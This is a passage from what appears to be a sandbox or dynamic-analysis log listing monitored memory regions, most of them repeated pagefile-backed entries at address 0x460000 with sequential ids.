"pagefile_0x0000000000460000" filename = "" Region: id = 8839 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8840 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8841 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8842 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8843 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8844 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8845 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8846 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8847 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8848 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8849 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8850 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8851 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8852 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8853 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8854 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8855 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8856 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8857 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8858 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8859 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8860 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8861 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8862 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8863 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8864 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8865 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8866 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8867 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8868 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8869 start_va = 0x470000 end_va = 0x470fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 8870 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8871 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8872 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8873 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8874 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8875 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8876 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8877 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8878 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8879 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8880 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8881 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8882 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8883 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8884 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8885 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8886 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8887 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8888 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8889 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8890 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8891 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8892 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8893 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8894 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8895 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8896 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8897 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8898 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8899 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8900 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8901 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8902 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8903 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8904 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8905 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8906 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8907 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8908 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8909 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8910 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8911 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8912 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8913 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8914 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8915 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8916 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8917 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8918 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8919 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8920 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8921 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8922 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8923 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8924 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8925 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8926 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8927 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8928 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8929 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8930 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8931 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8932 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8933 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8934 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8935 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8936 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8937 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8938 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8939 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8940 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8941 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8942 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8943 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8944 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8945 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8946 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8947 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8948 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8949 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8950 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8951 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8952 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8953 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8954 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8955 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8956 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8957 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8958 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8959 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8960 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8961 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8962 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8963 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8964 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8965 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8966 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8967 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8968 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8969 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8970 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8971 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8972 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8973 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8974 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8975 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8976 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8977 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8978 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8979 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8980 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8981 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8982 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8983 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8984 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8985 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8986 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8987 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8988 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8989 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8990 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8991 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8992 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8993 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8994 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8995 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8996 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8997 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8998 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8999 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9000 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9001 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9002 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9003 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9004 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9005 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9006 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9007 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9008 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9009 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9010 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9011 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9012 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9013 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9014 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9015 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9016 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9017 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9018 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9019 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9020 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9021 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9022 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9023 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9024 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9025 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9026 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed 